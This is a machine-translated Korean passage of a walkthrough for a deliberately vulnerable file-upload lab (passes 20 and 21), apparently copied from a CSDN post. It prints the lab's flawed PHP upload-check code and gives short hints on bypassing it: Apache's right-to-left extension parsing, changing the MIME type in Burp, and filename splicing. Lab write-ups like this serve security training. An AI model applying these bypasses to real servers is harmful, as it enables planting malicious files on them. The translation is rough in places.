1.php.zxc.zxc.zxc.zxc.zxc

Apache는 오른쪽에서 왼쪽으로 구문 분석합니다. 구문 분석할 수 없으면 다음 구문을 계속 구문 분석합니다.

phpinfo.php.7z 업로드

문제 해결 아이디어:

BP 발파용 phpinfo.php.7z 업로드

파일이 업로드되었습니다

패스-20

암호:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错！';
            }
        }else{
            $msg = '禁止保存为该类型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}

힌트:

공간을 직접 우회하기 위해 파일 업로드

파일을 업로드한 후 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

패스-21

암호:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功！";
                $is_upload = true;
            } else {
                $msg = "文件上传失败！";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件！";
}

힌트:

스플라이싱을 위해 MIME TYPE 유형을 수정해야 합니다.

문제 해결 아이디어:

파일 업로드, BP 캡처 패킷 및 데이터 수정

파일이 성공적으로 업로드되면 마우스 오른쪽 버튼을 클릭하여 링크를 엽니다.

추천

출처blog.csdn.net/m0_63127854/article/details/126452541
추천
행
모듈을 찾을 수 없음: 오류: "xxx"에서 "xxx"를 해결할 수 없으면 이 문제가 해결됩니다.
MATLAB은 다채로운 트리 다이어그램을 그립니다.
[셸] 위치 매개 변수 및 특수 $ 1 $ @ # $ 등
golang- 주 2
자바 오류: 잘못된 키 크기 또는 기본 매개변수
【题解】AcWing 93.递归实现组合型枚举
Charles 패킷 캡처 도구 3: Charles 인터페이스 소개
웹 스톰 코드 아래에 물결 선이 나타납니다.
화웨이 클라우드 서버 centos7.3 설치 바람둥이
Baidu의 23Q2 재무 보고서 최신 발표: 매출과 이익이 성장을 가속화하고 AI + 생태학적 전략이 점차 규모를 보이고 있습니다.
아카이브
기타
2020-04-08(1460)
2020-04-07(1517)
2020-04-06(1499)
2020-04-05(1440)
2020-04-04(1629)
2020-04-03(1644)
2020-04-02(1572)
2020-04-01(1665)
2020-03-31(1639)
2020-03-30(1334)

코드 세계

© 2018 codetd.com